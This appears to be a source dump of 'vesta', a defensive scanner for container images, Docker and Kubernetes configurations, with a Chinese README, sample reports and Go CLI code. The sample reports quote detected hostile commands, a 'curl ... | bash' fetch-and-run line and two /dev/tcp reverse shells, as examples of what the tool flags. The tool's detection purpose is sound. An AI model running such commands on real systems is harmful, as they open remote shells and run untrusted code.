- 扫描通过主流安装方法安装程序的漏洞
- apt/apt-get
- rpm
- yum
- dpkg
- 扫描软件依赖的漏洞以及恶意投毒的依赖包
- Java(Jar, War, 以及主流依赖log4j)
- NodeJs(NPM, YARN)
- Python(Wheel, Poetry)
- Golang(Go binary)
- PHP(Composer, 以及主流的PHP框架: laravel, thinkphp, wordpress, wordpress插件等)
- Rust(Rust binary)
- Others(其他可能造成容器逃逸的文件,或潜在的投毒镜像)
> Docker检查
| Supported | Check Item | Description | Severity | Reference |
|-----------|---------------------------|-----------------------------------|---------------------------|---------------------------------------------------------------------------------------------|
| ✔ | PrivilegeAllowed | 危险的特权模式 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Capabilities | 危险capabilities被设置 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Volume Mount | 敏感或危险目录被挂载 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) |
| ✔ | Docker Unauthorized | 2375端口打开并且未授权 | critical | [Ref](https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.md) |
| ✔ | Kernel version | 当前内核版本存在逃逸漏洞 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) |
| ✔ | Network Module | Net模式为`host`模式或同时在特定containerd版本下 | critical/medium | |
| ✔ | Pid Module | Pid模式被设置为`host` | high | |
| ✔ | Docker Server version | Docker Server版本存在漏洞 | critical/high/ medium/low | |
| ✔ | Docker env password check | Docker env是否存在弱密码 | high/medium | |
| ✔ | Docker history | Docker layers 存在不安全的命令 | high/medium | |
| ✔ | Docker Backdoor | Docker env command 存在恶意命令 | critical/high | |
| ✔ | Docker Swarm | Docker Swarm存在危险配置信息以及危险的容器检测 | medium/low | |
| ✔ | Docker supply chain | Docker的相关组建存在危险的配置 | critical/high/ medium | [Ref](https://github.com/kvesta/vesta/wiki/Docker-supply-chain-Checking-References) |
---
> Kubernetes检查
| Supported | Check Item | Description | Severity | Reference |
|-----------|----------------------------------------------------------|---------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------|
| ✔ | PrivilegeAllowed | 危险的特权模式 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Capabilities | 危险capabilities被设置 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | PV and PVC | PV 被挂载到敏感目录并且状态为active | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) |
| ✔ | RBAC | K8s 权限存在危险配置 | high/medium/ low/warning | |
| ✔ | Kubernetes-dashborad | 检查 `-enable-skip-login`以及 dashborad的账户权限 | critical/high/ low | [Ref](https://xz.aliyun.com/t/11316#toc-10) |
| ✔ | Kernel version | 当前内核版本存在逃逸漏洞 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) |
| ✔ | Docker Server version (k8s versions is less than v1.24) | Docker Server版本存在漏洞 | critical/high/ medium/low | |
| ✔ | Kubernetes certification expiration | 证书到期时间小于30天 | medium | |
| ✔ | ConfigMap and Secret check | ConfigMap 或者 Secret是否存在弱密码 | high/medium/low | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References) |
| ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy过度容忍Pod不安全配置 | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) |
| ✔ | Auto Mount ServiceAccount Token | Pod默认挂载了service token | critical/high/ medium/low | [Ref](https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-service-account/) |
| ✔ | NoResourceLimits | 没有限制资源的使用,例如CPU,Memory, 存储 | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) |
| ✔ | Job and Cronjob | Job或CronJob没有设置seccomp或seLinux安全策略 | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) |
| ✔ | Envoy admin | Envoy admin被配置以及监听`0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) |
| ✔ | Cilium version | Cilium 存在漏洞版本 | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) |
| ✔ | Istio configurations | Istio 存在漏洞版本以及安全配置检查 | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) |
| ✔ | Kubelet 10255/10250 and Kubectl proxy | 存在node打开了10250或者10255并且未授权或 Kubectl proxy开启 | high/medium/ low | |
| ✔ | Etcd configuration | Etcd 安全配置检查 | high/medium | |
| ✔ | Sidecar configurations | Sidecar 安全配置检查以及Env环境检查 | critical/high/ medium/low | |
| ✔ | Pod annotation | Pod annotation 存在不安全配置 | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) |
| ✔ | DaemonSet | DaemonSet存在不安全配置 | critical/high/ medium/low | |
| ✔ | Backdoor | 检查k8s中是否有后门 | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) |
| ✔ | Lateral admin movement | Pod被特意配置到Master节点中 | medium/low | |
## 编译并使用vesta
1. 编译vesta
- 使用`make build` 进行编译
- 从[Releases](https://github.com/kvesta/vesta/releases)上下载可执行文件
2. 使用vesta检查镜像过容器中的漏洞组件版本(使用镜像ID,镜像标签,文件系统路径或使用`-f`文件输入均可)
```bash
$./vesta scan container -f example.tar
2022/11/29 22:50:19 Begin upgrading vulnerability database
2022/11/29 22:50:19 Vulnerability Database is already initialized
2022/11/29 22:50:19 Begin to analyze the layer
2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. If |
| | | | | | | django.utils.text.Truncator's |
| | | | | | | chars() and words() methods |
| | | | | | | were passed the html=True |
| | | | | | | argument, t ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. |
| | | | | | | Due to the behaviour of |
| | | | | | | the underlying HTMLParser, |
| | | | | | | django.utils.html.strip_tags |
| | | | | | | would be extremely ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in |
| | | | | | | Django 1.11.x before 1.11.23, |
| | | | | | | 2.1.x before 2.1.11, and 2.2.x |
| | | | | | | before 2.2.4. Due to an error |
| | | | | | | in shallow key transformation, |
| | | | | | | key and index lookups for |
| | | | | | | django.contrib.postgres.f ... |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in |
| | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', |
| | | | | | | malicious command "curl https://vuln.com | bash" are |
| | | | | | | detected. |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories:
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| 1 | Image History | - / - | - | 0.0 | high | Confusion value found |
| | | | | | | in ENV: 'command' with |
| | | | | | | the plain text 'bash -i |
| | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 |
| | | | | | | '. |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| 2 | | - / - | - | 0.0 | medium | Docker history has found the |
| | | | | | | senstive environment with |
| | | | | | | key 'SECRET_KEY' and value: |
| | | | | | | 123456. |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
```
3. 使用vesta检查Docker的基线配置
也可以在docker中使用
```bash
make run.docker
```
```bash
$./vesta analyze docker
2022/11/29 23:06:32 Start analysing
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
```
4. 使用vesta检查Kubernetes的基线配置
```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
```
## 使用方法
```bash
$./vesta -h
Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit
Tutorial is available at https://github.com/kvesta/vesta
Usage:
vesta [command]
Available Commands:
analyze Kubernetes analyze
completion Generate the autocompletion script for the specified shell
help Help about any command
scan Container scan
update Update vulnerability database
version Print version information and quit
Flags:
-h, --help help for vesta
```
## 相关资料
### KCon 2023 兵器谱入选项目
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
================================================
FILE: cli/analyze.go
================================================
package cli
import (
"context"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/internal"
"github.com/spf13/cobra"
)
func analyze() {
analyzeCmd := &cobra.Command{
Use: "analyze",
Short: `Kubernetes and Docker analyze`,
Long: `Examples:
# analyze Docker
$ vesta analyze docker
# Full analyze Kubernetes
$ vesta analyze k8s
# analyze by specifying config
$ vesta analyze k8s --kubeconfig config
# analyze by specifying token
$ vesta analyze k8s --token --server --insecure
# analyze all the namespace
$ vesta analyze k8s -n all
# analyze a special namespace
$ vesta analyze k8s -n namespace`}
dockerAnalyze := &cobra.Command{
Use: "docker",
Short: "analyze docker container",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "output", outfile)
internal.DoInspectInDocker(ctx)
},
}
kubernetesAnalyze := &cobra.Command{
Use: "k8s",
Short: "analyze configure of kubernetes",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "nameSpace", nameSpace)
ctx = context.WithValue(ctx, "kubeconfig", kubeconfig)
ctx = context.WithValue(ctx, "output", outfile)
ctx = context.WithValue(ctx, "token", bearerToken)
ctx = context.WithValue(ctx, "server", serverHost)
ctx = context.WithValue(ctx, "insecure", insecure)
internal.DoInspectInKubernetes(ctx)
},
}
kubernetesAnalyze.Flags().StringVarP(&nameSpace, "ns", "n", "standard", "specific namespace")
kubernetesAnalyze.Flags().StringVar(&kubeconfig, "kubeconfig", "default", "specific configure file")
kubernetesAnalyze.Flags().BoolVar(&insecure, "insecure", false, "skip verify the tls certificate")
kubernetesAnalyze.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
kubernetesAnalyze.Flags().StringVar(&bearerToken, "token", "", "k8s authentication token")
kubernetesAnalyze.Flags().StringVar(&serverHost, "server", "", "k8s server host")
dockerAnalyze.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
analyzeCmd.AddCommand(dockerAnalyze)
analyzeCmd.AddCommand(kubernetesAnalyze)
rootCmd.AddCommand(analyzeCmd)
}
================================================
FILE: cli/banner.go
================================================
package cli
const versions = "v1.0.11"
================================================
FILE: cli/cobra.go
================================================
package cli
import (
"errors"
"fmt"
"strings"
"github.com/spf13/cobra"
)
func NoArgs(cmd *cobra.Command, args []string) error {
if len(args) == 0 {
return nil
}
if cmd.HasSubCommands() {
return errors.New(fmt.Sprintf("\n" + strings.TrimRight(cmd.UsageString(), "\n")))
}
return errors.New(fmt.Sprintf("\"%s\" accepts no argument(s).\nSee '%s --help'.\n\nUsage: %s\n\n%s",
cmd.CommandPath(),
cmd.CommandPath(),
cmd.UseLine(),
cmd.Short))
}
================================================
FILE: cli/command.go
================================================
package cli
import (
"context"
"fmt"
"log"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/pkg/vulnlib"
"github.com/spf13/cobra"
)
var (
rootCmd = &cobra.Command{
Use: "vesta [OPTIONS]",
Short: "Docker and Kubernetes analysis",
Long: `Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit
Tutorial is available at https://github.com/kvesta/vesta`,
}
tarFile string
nameSpace string
kubeconfig string
bearerToken string
serverHost string
outfile string
updateall bool
skipUpdate bool
insecure bool
)
func Execute() error {
versionCmd := &cobra.Command{
Use: "version",
Short: "Print version information and qui",
Args: NoArgs,
Run: func(cmd *cobra.Command, args []string) {
fmt.Println(versions)
},
}
// Upgrade vulnerability database
dataupgradeCmd := &cobra.Command{
Use: "update",
Short: "Update vulnerability database",
Args: NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "reset", updateall)
err := vulnlib.Fetch(ctx)
if err != nil {
log.Printf("Updating vulnerability database failed, error: %v", err)
}
log.Printf(config.Green("Updating vulnerability database success"))
},
}
dataupgradeCmd.Flags().BoolVarP(&updateall, "all", "a", false, "Reset the database")
rootCmd.AddCommand(dataupgradeCmd)
rootCmd.AddCommand(versionCmd)
analyze()
scan()
return rootCmd.Execute()
}
================================================
FILE: cli/scan.go
================================================
package cli
import (
"context"
"fmt"
"io"
"log"
"os"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/internal"
"github.com/kvesta/vesta/pkg/inspector"
"github.com/spf13/cobra"
)
func scan() {
scanCmd := &cobra.Command{
Use: "scan [OPTIONS]",
Short: `Container scan`,
Long: `Examples:
# Scan a container image
$ vesta scan image nginx:latest
# Scan a container image with specific host
$ DOCKER_HOST= vesta scan image nginx:latest
# Scan a container image from a tar archive
$ vesta scan image -f python.tar
# Scan a running container
$ vesta scan container nginx1
# Scan a exported container from a tar archive
$ vesta scan container -f nginx.tar
# Scan a filesystem
$ vesta scan fs filepath/`}
imageCheck := &cobra.Command{
Use: "image",
Short: "input from image",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "tarType", "image")
ctx = context.WithValue(ctx, "output", outfile)
ctx = context.WithValue(ctx, "skip", skipUpdate)
if len(args) < 1 && tarFile == "" {
fmt.Println("Require at least 1 argument.")
os.Exit(1)
}
var tarIO []io.ReadCloser
if tarFile == "" {
var err error
tarIO, err = inspector.GetTarFromID(ctx, args[0])
if err != nil {
os.Exit(1)
}
}
if tarFile == "" && len(tarIO) < 1 {
log.Printf("Cannot get tarfile. " +
"Make sure that you have the right image ID " +
"or use -f to get from tar file")
return
}
internal.DoScan(ctx, tarFile, tarIO)
},
}
containerCheck := &cobra.Command{
Use: "container",
Short: "input from inspector",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "tarType", "container")
ctx = context.WithValue(ctx, "output", outfile)
ctx = context.WithValue(ctx, "skip", skipUpdate)
if len(args) < 1 && tarFile == "" {
fmt.Println("Require at least 1 argument.")
os.Exit(1)
}
var tarIO []io.ReadCloser
if tarFile == "" {
var err error
tarIO, err = inspector.GetTarFromID(ctx, args[0])
if err != nil {
os.Exit(1)
}
}
if tarFile == "" && len(tarIO) < 1 {
log.Printf("Cannot get tarfile. " +
"Make sure that you have the right container ID" +
"or use -f to get from tar file")
return
}
internal.DoScan(ctx, tarFile, tarIO)
},
}
fileSystemCheck := &cobra.Command{
Use: "fs",
Short: "input from path of filesystem",
Run: func(cmd *cobra.Command, args []string) {
ctx := config.Ctx
ctx = context.WithValue(ctx, "tarType", "filesystem")
ctx = context.WithValue(ctx, "output", outfile)
ctx = context.WithValue(ctx, "skip", skipUpdate)
if len(args) < 1 {
fmt.Println("Require path of filesystem.")
os.Exit(1)
}
internal.DoScan(ctx, args[0], nil)
},
}
imageCheck.Flags().StringVarP(&tarFile, "file", "f", "", "path of tar file")
imageCheck.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
imageCheck.Flags().BoolVar(&skipUpdate, "skip", false, "skip the updating")
containerCheck.Flags().StringVarP(&tarFile, "file", "f", "", "path of tar file")
containerCheck.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
containerCheck.Flags().BoolVar(&skipUpdate, "skip", false, "skip the updating")
fileSystemCheck.Flags().BoolVar(&skipUpdate, "skip", false, "skip the updating")
fileSystemCheck.Flags().StringVarP(&outfile, "output", "o", "output", "output file location")
scanCmd.AddCommand(imageCheck)
scanCmd.AddCommand(containerCheck)
scanCmd.AddCommand(fileSystemCheck)
rootCmd.AddCommand(scanCmd)
}
================================================
FILE: cmd/vesta/main.go
================================================
package main
import (
"log"
"os"
"github.com/kvesta/vesta/cli"
)
func main() {
if err := cli.Execute(); err != nil {
log.Printf("%v", err)
os.Exit(1)
}
}
================================================
FILE: config/conf.go
================================================
package config
import (
"context"
"github.com/fatih/color"
)
var (
Yellow = color.New(color.FgYellow).SprintFunc()
Red = color.New(color.FgRed).SprintFunc()
Green = color.New(color.FgGreen).SprintFunc()
Pink = color.New(color.FgMagenta).SprintFunc()
Ctx = context.Background()
SeverityMap = map[string]int{
"critical": 5,
"high": 4,
"medium": 3,
"low": 2,
"warning": 1,
}
)
================================================
FILE: go.mod
================================================
module github.com/kvesta/vesta
go 1.18
require (
github.com/BurntSushi/toml v0.3.1
github.com/docker/docker v20.10.17+incompatible
github.com/fatih/color v1.13.0
github.com/knqyf263/go-rpmdb v0.0.0-20221030135625-4082a22221ce
github.com/mattn/go-sqlite3 v1.14.15
github.com/microsoft/go-rustaudit v0.0.0-20220808201409-204dfee52032
github.com/sergi/go-diff v1.3.1
github.com/spf13/cobra v1.5.0
github.com/tidwall/gjson v1.14.1
k8s.io/apimachinery v0.22.5
k8s.io/client-go v0.22.5
)
require (
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/go-logr/logr v1.2.2 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/gogo/protobuf v1.3.2 // indirect
github.com/google/go-cmp v0.5.6 // indirect
github.com/google/gofuzz v1.2.0 // indirect
github.com/google/uuid v1.3.0 // indirect
github.com/googleapis/gnostic v0.5.5 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/moby/spdystream v0.2.0 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/morikuni/aec v1.0.0 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/stretchr/testify v1.8.1 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.0 // indirect
github.com/tklauser/numcpus v0.6.0 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/sys v0.2.0 // indirect
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/tools v0.1.1 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect
gopkg.in/yaml.v2 v2.4.0 // indirect
k8s.io/klog/v2 v2.30.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.36.0 // indirect
modernc.org/ccgo/v3 v3.16.6 // indirect
modernc.org/libc v1.16.7 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.1.1 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/sqlite v1.17.3 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
sigs.k8s.io/structured-merge-diff/v4 v4.1.2 // indirect
sigs.k8s.io/yaml v1.2.0 // indirect
)
require (
github.com/Microsoft/go-winio v0.5.2 // indirect
github.com/docker/distribution v2.8.1+incompatible // indirect
github.com/docker/go-connections v0.4.0 // indirect
github.com/docker/go-units v0.4.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/hashicorp/go-version v1.6.0
github.com/imdario/mergo v0.3.12 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/knqyf263/go-rpm-version v0.0.0-20220614171824-631e686d1075
github.com/moby/term v0.0.0-20210619224110-3f7ff695adc6 // indirect
github.com/olekukonko/tablewriter v0.0.5
github.com/opencontainers/go-digest v1.0.0 // indirect
github.com/opencontainers/image-spec v1.0.3-0.20211202183452-c5a74bcca799 // indirect
github.com/shirou/gopsutil v3.21.11+incompatible
github.com/sirupsen/logrus v1.9.0 // indirect
github.com/tklauser/go-sysconf v0.3.11 // indirect
github.com/yusufpapurcu/wmi v1.2.2 // indirect
golang.org/x/net v0.0.0-20220722155237-a158d28d115b // indirect
golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8 // indirect
golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 // indirect
google.golang.org/appengine v1.6.7 // indirect
google.golang.org/protobuf v1.28.0 // indirect
gopkg.in/yaml.v3 v3.0.1
gotest.tools/v3 v3.3.0 // indirect
k8s.io/api v0.22.5
k8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed // indirect
)
replace golang.org/x/sys => golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab
================================================
FILE: go.sum
================================================
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=
cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=
cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=
cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=
cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=
cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=
cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=
cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
